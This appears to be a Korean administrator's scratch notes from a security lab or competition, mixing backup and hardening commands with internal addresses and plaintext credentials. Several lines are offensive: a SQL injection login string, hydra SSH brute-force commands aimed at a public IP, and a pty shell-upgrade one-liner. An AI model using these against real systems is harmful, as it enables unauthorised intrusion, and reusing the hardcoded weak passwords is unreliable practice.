백업 10.10.10.102
메일,DNS 10.10.10.253
ssh st.kr (master,123456)

IP="$(echo $SSH_CONNECTION | cut -d " " -f 1)"
HOSTNAME=$(hostname)
NOW=$(date +"%e %b %Y, %a %r")
user=$LOGNAME
echo $USER' from '$IP' logged into '$HOSTNAME' on '$NOW'.' |mail -s 'SSH Login Notification' master@mail2.st.kr

create user web1@localhost identified by '123456';
grant all on web1.* to web1@localhost;
flush privileges;


https://sugang.jj.ac.kr/

INSERT INTO `member` (`no`, `id`, `pw`, `name`, `regdate`) VALUES
(1, 'admin', '123456', 'admin', '2016-02-22 15:48:16');


admin' or '1=1

sudo visudo
pc211 ALL=(ALL) !ALL

touch /etc/rsync_exclude.lst

rsync -avz --exclude-from=/etc/rsync_exclude.lst /backup 10.10.10.3::backup

#!/bin/sh
set $(date)
fname="backup3-home$1$2$3.tar.gz"
fname1="backup3-var$1$2$3.tar.gz"
mysqldump -u root -p123456 --all-databases > /home/backup3.sql
tar cvzf /home/$fname1 /var/www/html
tar cvzf /backup/$fname /home


hydra -L user1.txt -P passwd1.txt ssh://125.246.95.253:22001
hydra -L user2.txt -P passwd2.txt ssh://125.246.95.253:22002
hydra -L user4.txt -P passwd1.txt ssh://125.246.95.253:22004

passwd -l master
passwd -l basic
passwd -l bookmarket
passwd -l ci3
passwd -l ci4
passwd -l competition
passwd -l dvwa
passwd -l hanatour
passwd -l khh
passwd -l lms
passwd -l naeiltour
passwd -l php
passwd -l shop
passwd -l sir
passwd -l st
passwd -l web1
passwd -l web2
passwd -l word
passwd -l xe
passwd -l pc209
passwd -l pc210

passwd
passwd root

python3 -c 'import pty;pty.spawn("/bin/bash")'

kill -9 



pc211
4369

2410